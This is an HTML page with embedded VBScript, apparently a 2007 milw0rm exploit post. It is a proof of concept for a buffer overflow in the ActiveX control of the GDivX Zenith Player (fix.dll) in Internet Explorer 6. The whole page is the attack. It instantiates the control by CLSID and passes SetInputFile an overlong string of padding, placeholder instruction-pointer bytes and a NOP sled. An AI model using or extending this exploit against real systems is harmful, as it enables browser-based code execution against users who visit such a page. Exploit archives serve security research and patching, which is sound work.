<html>
 <object classid='clsid:2225E9BC-AFB3-4ED4-B20E-4F6CF1C39F8B' id='target'></object>
  <script language = 'vbscript'>
   ' IE 6 / GDivX Zenith Player AviFixer Class (fix.dll v. 1.0.0.1) buffer overflow POC by rgod
   ' tested on xp sp2
   EIP= "BBBB"
   BOF=String(264, "A") + EIP + String(9999, unescape("%90"))
   target.SetInputFile BOF
 </script>
</html>

# milw0rm.com [2007-05-09]
